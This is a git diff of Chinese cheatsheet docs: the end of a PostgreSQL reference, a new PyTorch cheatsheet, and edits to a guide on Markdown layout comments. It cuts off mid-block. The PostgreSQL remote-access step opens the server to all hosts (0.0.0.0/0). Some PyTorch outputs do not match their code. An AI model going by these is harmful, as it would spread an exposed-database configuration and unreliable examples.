ALTER <column_name> TYPE <data_type> [<constraints>];
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
删除列
|
||||
|
||||
```sql
|
||||
ALTER TABLE <table_name> IF EXISTS
|
||||
DROP <column_name>;
|
||||
```
|
||||
|
||||
将列更新为自增主键
|
||||
|
||||
```sql
|
||||
ALTER TABLE <table_name>
|
||||
ADD COLUMN <column_name> SERIAL PRIMARY KEY;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
使用自动递增的主键插入表中
|
||||
|
||||
```sql
|
||||
INSERT INTO <table_name>
|
||||
VALUES (DEFAULT, <value1>);
|
||||
INSERT INTO <table_name> (<column1_name>,<column2_name>)
|
||||
VALUES ( <value1>,<value2> );
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### Data 数据
|
||||
|
||||
[选择](http://www.postgresql.org/docs/current/static/sql-select.html) 所有数据
|
||||
|
||||
```sql
|
||||
SELECT * FROM <table_name>;
|
||||
```
|
||||
|
||||
读取一行数据
|
||||
|
||||
```sql
|
||||
SELECT * FROM <table_name> LIMIT 1;
|
||||
```
|
||||
|
||||
搜索数据
|
||||
|
||||
```sql
|
||||
SELECT * FROM <table_name> WHERE <column_name> = <value>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
[插入](http://www.postgresql.org/docs/current/static/sql-insert.html) 数据
|
||||
|
||||
```sql
|
||||
INSERT INTO <table_name> VALUES( <value_1>, <value_2> );
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
[更新](http://www.postgresql.org/docs/current/static/sql-update.html) 数据
|
||||
|
||||
```sql
|
||||
UPDATE <table_name>
|
||||
SET <column_1> = <value_1>, <column_2> = <value_2>
|
||||
WHERE <column_1> = <value>;
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
[删除](http://www.postgresql.org/docs/current/static/sql-delete.html) 所有数据
|
||||
|
||||
```sql
|
||||
DELETE FROM <table_name>;
|
||||
```
|
||||
|
||||
删除特定数据
|
||||
|
||||
```sql
|
||||
DELETE FROM <table_name>
|
||||
WHERE <column_name> = <value>;
|
||||
```
|
||||
|
||||
### Users 用户
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
列出角色
|
||||
|
||||
```sql
|
||||
SELECT rolname FROM pg_roles;
|
||||
```
|
||||
|
||||
[创建用户](http://www.postgresql.org/docs/current/static/sql-createuser.html)
|
||||
|
||||
```sql
|
||||
CREATE USER <user_name> WITH PASSWORD '<password>';
|
||||
```
|
||||
|
||||
[删除用户](http://www.postgresql.org/docs/current/static/sql-dropuser.html)
|
||||
|
||||
```sql
|
||||
DROP USER IF EXISTS <user_name>;
|
||||
```
|
||||
|
||||
[更改](http://www.postgresql.org/docs/current/static/sql-alterrole.html) 用户密码
|
||||
|
||||
```sql
|
||||
ALTER ROLE <user_name> WITH PASSWORD '<password>';
|
||||
```
|
||||
|
||||
### Schema
|
||||
|
||||
列出 Schemas
|
||||
|
||||
```sql
|
||||
\dn
|
||||
SELECT schema_name FROM information_schema.schemata;
|
||||
SELECT nspname FROM pg_catalog.pg_namespace;
|
||||
```
|
||||
|
||||
[创建架构](http://www.postgresql.org/docs/current/static/sql-createschema.html)
|
||||
|
||||
```sql
|
||||
CREATE SCHEMA IF NOT EXISTS <schema_name>;
|
||||
```
|
||||
|
||||
[删除模式](http://www.postgresql.org/docs/current/static/sql-dropschema.html)
|
||||
|
||||
```sql
|
||||
DROP SCHEMA IF EXISTS <schema_name> CASCADE;
|
||||
```
|
||||
|
||||
PostgreSQL 命令
|
||||
-----------
|
||||
|
||||
### 表
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\d <table>` | 描述表
|
||||
`\d+ <table>` | 详细描述表格
|
||||
`\dt` | 列出当前模式中的表
|
||||
`\dt *.*` | 列出所有模式中的表
|
||||
`\dt <schema>.*` | 列出架构的表
|
||||
`\dp` | 列出表访问权限
|
||||
`\det[+]` | 列出外部表
|
||||
|
||||
### 查询缓冲区
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\e [FILE]` | 编辑查询缓冲区(或文件)
|
||||
`\ef [FUNC]` | 编辑函数定义
|
||||
`\p` | 显示内容
|
||||
`\r` | 重置(清除)查询缓冲区
|
||||
`\s [FILE]` | 显示历史记录或保存到文件
|
||||
`\w FILE` | 将查询缓冲区写入文件
|
||||
|
||||
### 信息
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\l[+]` | 列出所有数据库
|
||||
`\dn[S+]` | 列出架构
|
||||
`\di[S+]` | 列出索引
|
||||
`\du[+]` | 列出角色
|
||||
`\ds[S+]` | 列出序列
|
||||
`\df[antw][S+]` | 列出函数
|
||||
`\deu[+]` | 列出用户映射
|
||||
`\dv[S+]` | 列表视图
|
||||
`\dl` | 列出大对象
|
||||
`\dT[S+]` | 列出数据类型
|
||||
`\da[S]` | 列出聚合
|
||||
`\db[+]` | 列出表空间
|
||||
`\dc[S+]` | 列出转化
|
||||
`\dC[+]` | 列出演员表
|
||||
`\ddp` | 列出默认权限
|
||||
`\dd[S]` | 显示对象描述
|
||||
`\dD[S+]` | 列出域
|
||||
`\des[+]` | 列出国外服务器
|
||||
`\dew[+]` | 列出外部数据包装器
|
||||
`\dF[+]` | 列出文本搜索配置
|
||||
`\dFd[+]` | 列出文本搜索词典
|
||||
`\dFp[+]` | 列出文本搜索解析器
|
||||
`\dFt[+]` | 列出文本搜索模板
|
||||
`\dL[S+]` | 列出程序语言
|
||||
`\do[S]` | 列出运算符
|
||||
`\dO[S+]` | 列出排序规则
|
||||
`\drds` | 列出每个数据库的角色设置
|
||||
`\dx[+]` | 列出扩展
|
||||
|
||||
`S`:显示系统对象,`+`:附加细节
|
||||
|
||||
### 连接
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\c [DBNAME]` | 连接到新数据库
|
||||
`\encoding [ENCODING]` | 显示或设置客户端编码
|
||||
`\password [USER]` | 更改密码
|
||||
`\conninfo` | 显示信息
|
||||
|
||||
### 格式化
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\a` | 在未对齐和对齐之间切换
|
||||
`\C [STRING]` | 设置表格标题,如果没有则取消设置
|
||||
`\f [STRING]` | 显示或设置未对齐的字段分隔符
|
||||
`\H` | 切换 HTML 输出模式
|
||||
`\t [on\|off]` | 仅显示行
|
||||
`\T [STRING]` | 设置或取消设置 HTML \<table\> 标签属性
|
||||
`\x [on\|off]` | 切换扩展输出
|
||||
|
||||
### 输入输出
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\copy ...` | 导入/导出表 _另见:_ [复制](#导入导出-csv)
|
||||
`\echo [STRING]` | 打印字符串
|
||||
`\i FILE` | 执行文件
|
||||
`\o [FILE]` | 将所有结果导出到文件
|
||||
`\qecho [STRING]` | 输出流的字符串
|
||||
|
||||
### 变量
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\prompt [TEXT] NAME` | 设置变量
|
||||
`\set [NAME [VALUE]]` | 设置变量 _(如果没有参数,则列出所有变量)_
|
||||
`\unset NAME` | 删除变量
|
||||
|
||||
### 杂项
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`\cd [DIR]` | 更改目录
|
||||
`\timing [on\|off]` | 切换时间
|
||||
`\! [COMMAND]` | 在shell中执行
|
||||
`\! ls -l` | 在shell中列出所有
|
||||
|
||||
### 大对象
|
||||
|
||||
- `\lo_export LOBOID FILE`
|
||||
- `\lo_import FILE [COMMENT]`
|
||||
- `\lo_list`
|
||||
- `\lo_unlink LOBOID`
|
||||
|
||||
各种各样的
|
||||
-------------
|
||||
|
||||
### 备份
|
||||
|
||||
使用 pg_dumpall 备份所有数据库
|
||||
|
||||
```shell
|
||||
$ pg_dumpall -U postgres > all.sql
|
||||
```
|
||||
|
||||
使用 pg_dump 备份数据库
|
||||
|
||||
```shell
|
||||
$ pg_dump -d mydb -f mydb_backup.sql
|
||||
```
|
||||
|
||||
- `-a` 只转储数据,而不是模式(schema)
|
||||
- `-s` 只转储模式,不转储数据
|
||||
- `-c` 在重新创建之前删除数据库
|
||||
- `-C` 还原前创建数据库
|
||||
- `-t` 仅转储命名表
|
||||
- `-F` 格式(`c`:自定义,`d`:目录,`t`:tar)
|
||||
<!--rehype:className=style-none-->
|
||||
|
||||
使用 `pg_dump -?` 获取完整的选项列表
|
||||
|
||||
### 恢复
|
||||
|
||||
使用 psql 恢复数据库
|
||||
|
||||
```shell
|
||||
$ psql -U user mydb < mydb_backup.sql
|
||||
```
|
||||
|
||||
使用 pg_restore 恢复数据库
|
||||
|
||||
```shell
|
||||
$ pg_restore -d mydb mydb_backup.sql -c
|
||||
```
|
||||
|
||||
- `-U` 指定数据库用户
|
||||
- `-c` 在重新创建之前删除数据库
|
||||
- `-C` 还原前创建数据库
|
||||
- `-e` 如果遇到错误退出
|
||||
- `-F` 格式(`c`:自定义,`d`:目录,`t`:tar,`p`:纯文本sql(默认))
|
||||
<!--rehype:className=style-none-->
|
||||
|
||||
使用 `pg_restore -?` 获取完整的选项列表
|
||||
|
||||
### 远程访问
|
||||
|
||||
获取 postgresql.conf 的位置
|
||||
|
||||
```shell
|
||||
$ psql -U postgres -c 'SHOW config_file'
|
||||
```
|
||||
|
||||
附加到 postgresql.conf
|
||||
|
||||
```shell
|
||||
listen_addresses = '*'
|
||||
```
|
||||
|
||||
附加到 pg_hba.conf(与 postgresql.conf 相同的位置)
|
||||
|
||||
```shell
|
||||
host all all 0.0.0.0/0 md5
|
||||
host all all ::/0 md5
|
||||
```
|
||||
|
||||
重启 PostgreSQL 服务器
|
||||
|
||||
```shell
|
||||
$ sudo systemctl restart postgresql
|
||||
```
|
||||
|
||||
### 导入/导出 CSV
|
||||
|
||||
将表格导出为 CSV 文件
|
||||
|
||||
```sql
|
||||
\copy table TO '<path>' CSV
|
||||
\copy table(col1,col1) TO '<path>' CSV
|
||||
\copy (SELECT...) TO '<path>' CSV
|
||||
```
|
||||
|
||||
将 CSV 文件导入表格
|
||||
|
||||
```sql
|
||||
\copy table FROM '<path>' CSV
|
||||
\copy table(col1,col1) FROM '<path>' CSV
|
||||
```
|
||||
|
||||
另见:[复制](https://www.postgresql.org/docs/current/sql-copy.html)
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Posgres-cheatsheet](https://gist.github.com/apolloclark/ea5466d5929e63043dcf#posgres-cheatsheet) _(gist.github.com)_
|
1241
docs/python.md
Normal file
1241
docs/python.md
Normal file
File diff suppressed because it is too large
Load Diff
263
docs/pytorch.md
Normal file
263
docs/pytorch.md
Normal file
@ -0,0 +1,263 @@
|
||||
Pytorch 备忘清单
|
||||
===
|
||||
|
||||
Pytorch 是一种开源机器学习框架,可加速从研究原型设计到生产部署的过程,备忘单是 官网
|
||||
备忘清单为您提供了 [Pytorch](https://pytorch.org/) 基本语法和初步应用参考
|
||||
|
||||
入门
|
||||
-----
|
||||
|
||||
### 介绍
|
||||
|
||||
- [Pytorch 官网](https://pytorch.org/) _(pytorch.org)_
|
||||
- [Pytorch 官方备忘清单](https://pytorch.org/tutorials/beginner/ptcheat.html) _(pytorch.org)_
|
||||
|
||||
### 认识 Pytorch
|
||||
|
||||
```python
|
||||
from __future__ import print_function
|
||||
import torch
|
||||
x = torch.empty(5, 3)
|
||||
>>> print(x)
|
||||
tensor([
|
||||
[2.4835e+27, 2.5428e+30, 1.0877e-19],
|
||||
[1.5163e+23, 2.2012e+12, 3.7899e+22],
|
||||
[5.2480e+05, 1.0175e+31, 9.7056e+24],
|
||||
[1.6283e+32, 3.7913e+22, 3.9653e+28],
|
||||
[1.0876e-19, 6.2027e+26, 2.3685e+21]
|
||||
])
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
Tensors 张量: 张量的概念类似于Numpy中的ndarray数据结构, 最大的区别在于Tensor可以利用GPU的加速功能.
|
||||
|
||||
### 创建一个全零矩阵
|
||||
|
||||
```python
|
||||
x = torch.zeros(5, 3, dtype=torch.long)
|
||||
>>> print(x)
|
||||
tensor([[0, 0, 0],
|
||||
[0, 0, 0],
|
||||
[0, 0, 0],
|
||||
[0, 0, 0],
|
||||
[0, 0, 0]])
|
||||
```
|
||||
|
||||
创建一个全零矩阵并可指定数据元素的类型为long
|
||||
|
||||
### 数据创建张量
|
||||
|
||||
```python
|
||||
x = torch.tensor([2.5, 3.5])
|
||||
>>> print(x)
|
||||
tensor([2.5000, 3.3000])
|
||||
```
|
||||
|
||||
Pytorch 的基本语法
|
||||
---------------
|
||||
|
||||
### 加法操作(1)
|
||||
|
||||
```python
|
||||
y = torch.rand(5, 3)
|
||||
>>> print(x + y)
|
||||
tensor([[ 1.6978, -1.6979, 0.3093],
|
||||
[ 0.4953, 0.3954, 0.0595],
|
||||
[-0.9540, 0.3353, 0.1251],
|
||||
[ 0.6883, 0.9775, 1.1764],
|
||||
[ 2.6784, 0.1209, 1.5542]])
|
||||
```
|
||||
|
||||
### 加法操作(2)
|
||||
|
||||
```python
|
||||
>>> print(torch.add(x, y))
|
||||
tensor([[ 1.6978, -1.6979, 0.3093],
|
||||
[ 0.4953, 0.3954, 0.0595],
|
||||
[-0.9540, 0.3353, 0.1251],
|
||||
[ 0.6883, 0.9775, 1.1764],
|
||||
[ 2.6784, 0.1209, 1.5542]])
|
||||
```
|
||||
|
||||
### 加法操作(3)
|
||||
|
||||
```python
|
||||
# 提前设定一个空的张量
|
||||
result = torch.empty(5, 3)
|
||||
# 将空的张量作为加法的结果存储张量
|
||||
torch.add(x, y, out=result)
|
||||
>>> print(result)
|
||||
tensor([[ 1.6978, -1.6979, 0.3093],
|
||||
[ 0.4953, 0.3954, 0.0595],
|
||||
[-0.9540, 0.3353, 0.1251],
|
||||
[ 0.6883, 0.9775, 1.1764],
|
||||
[ 2.6784, 0.1209, 1.5542]])
|
||||
```
|
||||
|
||||
### 加法操作(4)
|
||||
|
||||
```python
|
||||
y.add_(x)
|
||||
>>> print(y)
|
||||
tensor([[ 1.6978, -1.6979, 0.3093],
|
||||
[ 0.4953, 0.3954, 0.0595],
|
||||
[-0.9540, 0.3353, 0.1251],
|
||||
[ 0.6883, 0.9775, 1.1764],
|
||||
[ 2.6784, 0.1209, 1.5542]])
|
||||
```
|
||||
|
||||
注意: 所有 `in-place` 的操作函数都有一个下划线的后缀。
|
||||
比如 `x.copy_(y)`, `x.add_(y)`, 都会直接改变x的值
|
||||
|
||||
### 张量操作
|
||||
|
||||
```python
|
||||
>>> print(x[:, 1])
|
||||
tensor([-2.0902, -0.4489, -0.1441, 0.8035, -0.8341])
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 张量形状
|
||||
|
||||
```python
|
||||
x = torch.randn(4, 4)
|
||||
# tensor.view()操作需要保证数据元素的总数量不变
|
||||
y = x.view(16)
|
||||
# -1代表自动匹配个数
|
||||
z = x.view(-1, 8)
|
||||
>>> print(x.size(), y.size(), z.size())
|
||||
torch.Size([4, 4]) torch.Size([16]) torch.Size([2, 8])
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 取张量元素
|
||||
|
||||
```python
|
||||
x = torch.randn(1)
|
||||
>>> print(x)
|
||||
>>> print(x.item())
|
||||
tensor([-0.3531])
|
||||
-0.3530771732330322
|
||||
```
|
||||
|
||||
### Torch Tensor 和 Numpy array互换
|
||||
|
||||
```python
|
||||
a = torch.ones(5)
|
||||
>>> print(a)
|
||||
tensor([1., 1., 1., 1., 1.])
|
||||
```
|
||||
|
||||
Torch Tensor和Numpy array共享底层的内存空间, 因此改变其中一个的值, 另一个也会随之被改变
|
||||
|
||||
### Torch Tensor 转换为 Numpy array
|
||||
|
||||
```python
|
||||
b = a.numpy()
|
||||
>>> print(b)
|
||||
[1. 1. 1. 1. 1.]
|
||||
```
|
||||
|
||||
### Numpy array转换为Torch Tensor
|
||||
|
||||
```python
|
||||
import numpy as np
|
||||
a = np.ones(5)
|
||||
b = torch.from_numpy(a)
|
||||
np.add(a, 1, out=a)
|
||||
>>> print(a)
|
||||
>>> print(b)
|
||||
[2. 2. 2. 2. 2.]
|
||||
tensor([2., 2., 2., 2., 2.], dtype=torch.float64)
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
注意: 所有在CPU上的Tensors, 除了CharTensor, 都可以转换为Numpy array并可以反向转换.
|
||||
|
||||
导入 Imports
|
||||
---
|
||||
|
||||
### 一般
|
||||
|
||||
```python
|
||||
# 根包
|
||||
import torch
|
||||
# 数据集表示和加载
|
||||
from torch.utils.data import Dataset, DataLoader
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 神经网络 API
|
||||
|
||||
```python
|
||||
# 计算图
|
||||
import torch.autograd as autograd
|
||||
# 计算图中的张量节点
|
||||
from torch import Tensor
|
||||
# 神经网络
|
||||
import torch.nn as nn
|
||||
# 层、激活等
|
||||
import torch.nn.functional as F
|
||||
# 优化器,例如 梯度下降、ADAM等
|
||||
import torch.optim as optim
|
||||
# 混合前端装饰器和跟踪 jit
|
||||
from torch.jit import script, trace
|
||||
```
|
||||
|
||||
### Torchscript 和 JIT
|
||||
|
||||
```python
|
||||
torch.jit.trace()
|
||||
```
|
||||
|
||||
使用你的模块或函数和一个例子,数据输入,并追溯计算步骤,数据在模型中前进时遇到的情况
|
||||
|
||||
```python
|
||||
@script
|
||||
```
|
||||
|
||||
装饰器用于指示被跟踪代码中的数据相关控制流
|
||||
|
||||
### ONNX
|
||||
|
||||
```python
|
||||
torch.onnx.export(model, dummy data, xxxx.proto)
|
||||
# 导出 ONNX 格式
|
||||
# 使用经过训练的模型模型,dummy
|
||||
# 数据和所需的文件名
|
||||
|
||||
model = onnx.load("alexnet.proto")
|
||||
# 加载 ONNX 模型
|
||||
onnx.checker.check_model(model)
|
||||
# 检查模型,IT 是否结构良好
|
||||
|
||||
onnx.helper.printable_graph(model.graph)
|
||||
# 打印一个人类可读的,图的表示
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### Vision
|
||||
|
||||
```python
|
||||
# 视觉数据集,架构 & 变换
|
||||
from torchvision import datasets, models, transforms
|
||||
# 组合转换
|
||||
import torchvision.transforms as transforms
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 分布式训练
|
||||
|
||||
```python
|
||||
# 分布式通信
|
||||
import torch.distributed as dist
|
||||
# 内存共享进程
|
||||
from torch.multiprocessing import Process
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Pytorch 官网](https://pytorch.org/) _(pytorch.org)_
|
||||
- [Pytorch 官方备忘清单](https://pytorch.org/tutorials/beginner/ptcheat.html) _(pytorch.org)_
|
@ -8,7 +8,7 @@ Quick Reference 备忘清单
|
||||
|
||||
### 本地编译预览
|
||||
|
||||
简单的将仓库克隆下来本地调试页面展示。
|
||||
将仓库克隆到本地调试页面。请参阅[贡献指南](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)了解如何开始
|
||||
|
||||
#### 克隆仓库
|
||||
|
||||
@ -22,14 +22,103 @@ git clone git@github.com:jaywcjlove/reference.git
|
||||
```shell
|
||||
npm i # 安装依赖
|
||||
npm run build # 编译输出 HTML
|
||||
npm run start # 监听 md 文件编译输出 HTML
|
||||
```
|
||||
|
||||
HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静态页面在浏览器中打开预览。
|
||||
|
||||
### 介绍
|
||||
```shell
|
||||
npm run start # 监听 md 文件编译输出 HTML
|
||||
```
|
||||
|
||||
在备忘清单采用 `HTML 注释语法`,标识网站布局和一些样式,目的是为了在 `GitHub` 中也是正常毫无瑕疵的预览 `Markdown`。
|
||||
### 目录结构
|
||||
|
||||
```bash
|
||||
.
|
||||
├── CONTRIBUTING.md # 贡献说明
|
||||
├── Dockerfile
|
||||
├── LICENSE
|
||||
├── README.md # Home(首页) 内容
|
||||
├── dist # 编译后的静态资源目录
|
||||
├── docs # Markdown 文档(速查表)
|
||||
│ ├── bash.md
|
||||
│ ├── ....
|
||||
│ └── yaml.md
|
||||
├── package.json
|
||||
└── scripts # MD 转 HTML 的编译脚本
|
||||
├── assets # LOGO 图标文件资源
|
||||
├── ....
|
||||
└── watch.mjs
|
||||
```
|
||||
|
||||
### 添加一个备忘清单
|
||||
|
||||
一个简单的备忘清单包含 `页面大标题<h1>`,放在大标题下面的 `介绍` 文本,`<h2>` 分类标题,`<h3>` 内容为 `卡片`
|
||||
|
||||
```markdown
|
||||
备忘清单 (页面大标题)
|
||||
===
|
||||
|
||||
这是您可以在当前清单上使用的样式参考!备忘清单介绍
|
||||
|
||||
入门 (分类标题)
|
||||
---
|
||||
|
||||
### 介绍 (卡片)
|
||||
|
||||
卡片内容
|
||||
```
|
||||
|
||||
上面 markdown 内容存放到 `docs` 目录中,命名为 `xxx.md`
|
||||
|
||||
### 首页导航
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
首页(`README.md`)存放在仓库的根目录,通过这个 `README.md` 自动生成首页导航,下面是导航实例:
|
||||
|
||||
```markdown
|
||||
## Linux 命令
|
||||
|
||||
[Cron](./docs/cron.md)<!--rehype:style=background: rgb(239 68 68/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
```
|
||||
|
||||
首页导航图标存放在 `scripts/assets` 目录中,如果你的备忘清单定义为 `docs/cron.md`,那么你的图标就定义为 `cron.svg` 存放到 `scripts/assets` 目录中,重新编译首页当行菜单就拥有了图标。
|
||||
|
||||
- 图标存放在 [`scripts/assets`](https://github.com/jaywcjlove/reference/blob/main/scripts/assets) 目录中
|
||||
- 图片名称与清单名称保持一致 `cron.md` -> `cron.svg` (注意大小写)
|
||||
- SVG 图标尺寸 `<svg height="1em" width="1em"`
|
||||
- SVG 图标颜色使用继承颜色值 `<svg fill="currentColor"`
|
||||
- 使用 `<!--rehype:class=home-card-->` 标识卡片样式
|
||||
|
||||
### 首页提示配置
|
||||
|
||||
```markdown
|
||||
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing-->
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
添加 `contributing` 类名,会在卡片下方默认添加 `👆待完善需要您的参与`
|
||||
|
||||
```markdown
|
||||
class=tag&data-info=👆看看还缺点儿什么?
|
||||
```
|
||||
|
||||
上面示例将默认提示更改为: `👆看看还缺点儿什么?`
|
||||
|
||||
```markdown
|
||||
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=tag&data-lang=Python-->
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
添加 `class=tag&data-lang=Python` 类名和参数,会在卡片右上角标记 _`Python`_
|
||||
|
||||
Markdown 语法注释
|
||||
---
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
在备忘清单采用 `HTML 注释语法`,标识网站布局和一些样式,目的是为了在 `GitHub` 中也是正常毫无瑕疵的预览 [`Markdown`](./markdown.md)。
|
||||
|
||||
```markdown
|
||||
### 卡片标题
|
||||
@ -38,14 +127,14 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
|
||||
卡片 Markdown 内容展示,下面注释语法为文字内容改变样式
|
||||
<!--rehype:style=color: red;-->
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
使用 `col-span-2` 类标识,卡片占 `2` 列位置
|
||||
上面基础示例,使用 `col-span-2` 类标识,卡片占 `2` 列位置,参考现有备忘清单的源代码是一个好习惯!
|
||||
|
||||
### 注释语法介绍
|
||||
<!--rehype:wrap-class=row-span-3&style=color:black;background-color: #d7a100;-->
|
||||
<!--rehype:wrap-class=row-span-4&style=color:black;background-color: #d7a100;-->
|
||||
|
||||
- 在某个 Markdown 语法下方或者后面,添加 HTML注释
|
||||
- 在某个 [`Markdown`](./markdown.md) 语法下方或者后面,添加 HTML注释
|
||||
- 以 `<!--rehype:` 开始,`-->` 结束,包裹参数内容
|
||||
- 内容采用 URL 参数的字符拼接方式
|
||||
|
||||
@ -57,7 +146,7 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
|
||||
#### 示例
|
||||
|
||||
```markdown
|
||||
### H2 部分
|
||||
## H2 部分
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### H3 部分
|
||||
@ -70,7 +159,7 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
|
||||
### 标题
|
||||
<!--rehype:wrap-class=row-span-3&style=color:red;-->
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
#### 参数说明
|
||||
|
||||
@ -78,7 +167,7 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
|
||||
---- | ----
|
||||
`body-style` | 包裹所有卡片`外壳`的样式
|
||||
`body-class` | 用于卡片栏布局,添加`类`名
|
||||
`wrap-style` | 卡片栏添加 CSS 样式
|
||||
`wrap-style` | 卡片栏添加 [CSS](./css.md) 样式
|
||||
`wrap-class` | 用于卡片占位,添加`类`名
|
||||
|
||||
### 文字颜色
|
||||
@ -96,7 +185,7 @@ _我是红色_<!--rehype:style=color: red;-->
|
||||
**加粗变大红色**
|
||||
<!--rehype:style=color: red;font-size: 18px-->
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
上面添加注释样式,文字 _加粗变大红色_<!--rehype:style=color: red;font-size: 18px--> 变`红`并且`大`了
|
||||
|
||||
@ -106,11 +195,10 @@ _我是红色_<!--rehype:style=color: red;-->
|
||||
\```js
|
||||
function () {}
|
||||
\```
|
||||
<!--rehype:className=wrap-text -->
|
||||
<!--rehype:className=wrap-text-->
|
||||
```
|
||||
|
||||
如果代码块内容太长,使用强制换行类解决
|
||||
|
||||
如果代码块内容太长,使用强制换行类(`wrap-text`)解决
|
||||
|
||||
### 展示表格表头
|
||||
|
||||
@ -135,7 +223,7 @@ export const Student = (
|
||||
);
|
||||
```
|
||||
|
||||
上面 `{1,4-5}` 行代码高亮,下面是 `Markdown` 代码示例
|
||||
上面 `{1,4-5}` 行代码高亮,下面是 [`Markdown`](./markdown.md) 代码示例
|
||||
|
||||
```markdown
|
||||
```jsx {1,4-5}
|
||||
@ -150,11 +238,11 @@ export const Student = (
|
||||
添加注释配置 `<!--rehype:tooltips-->` 添加一个 Tooltips 提示。
|
||||
|
||||
### H3 部分(卡片)背景颜色
|
||||
<!--rehype:wrap-style=background: #00c69357;-->
|
||||
<!--rehype:wrap-style=background: #8dffd42e;-->
|
||||
|
||||
```markdown
|
||||
### H3 部分(卡片)背景颜色
|
||||
<!--rehype:wrap-style=background: #00c69357;-->
|
||||
<!--rehype:wrap-style=background: #8dffd42e;-->
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
@ -170,7 +258,7 @@ export const Student = (
|
||||
|
||||
### 快捷键样式
|
||||
|
||||
| Key | value |
|
||||
| Key | value |
|
||||
| ---- | ---- |
|
||||
| `快捷键` | 说明 |
|
||||
| `快捷键` | 说明 |
|
||||
@ -209,11 +297,27 @@ const school = <div>学校</div>;
|
||||
:- | -
|
||||
:- | -
|
||||
`<yel>` | <yel>黄色</yel>
|
||||
`<red>` | <yel>红色</yel>
|
||||
`<pur>` | <pur>紫色</pur>
|
||||
`<code>` 或 <code>\`\`</code> | <code>绿</code>`色`
|
||||
`<del>` 或 `~~删除~~` | <del>~~红色~~</del>
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### HTML 代码预览
|
||||
|
||||
```
|
||||
```html preview
|
||||
<b>这里是你的 HTML 代码</b>
|
||||
\```
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```html preview
|
||||
<b>这里是你的 HTML 代码</b>
|
||||
```
|
||||
|
||||
上面的 [`markdown`](./markdown.md) 代码在 `meta` 位置添加 `preview` 标识,[HTML](./html.md) 代码将被执行预览
|
||||
|
||||
### 隐藏卡片标题
|
||||
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
|
||||
@ -222,12 +326,44 @@ const school = <div>学校</div>;
|
||||
隐藏卡片标题,在 H3 标题下面添加注释样式
|
||||
```
|
||||
|
||||
```markdown
|
||||
```markdown {2}
|
||||
### 隐藏卡片标题
|
||||
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 注释类配置
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
类 | 说明
|
||||
---- | ----
|
||||
`<!--rehype:className=wrap-text-->` | 强制`换行`
|
||||
`<!--rehype:className=show-header-->` | 展示表格`表头`
|
||||
`<!--rehype:className=shortcuts-->` | `快捷键`样式
|
||||
`<!--rehype:className=auto-wrap-->` | 隐藏表头强制小尺寸`自动换行`
|
||||
`<!--rehype:className=style-list-arrow-->` | 列表`箭头`样式展示表格
|
||||
`<!--rehype:className=style-list-->` | `列表`样式展示表格
|
||||
`<!--rehype:className=left-align-->` | 表格末尾列`左对齐`
|
||||
`<!--rehype:className=style-none-->` | \<li> 没有标记样式
|
||||
`<!--rehype:className=style-timeline-->` | `时间轴`样式
|
||||
`<!--rehype:className=style-arrow-->` | `箭头`标记
|
||||
|
||||
### KaTeX 数学渲染
|
||||
|
||||
```KaTeX
|
||||
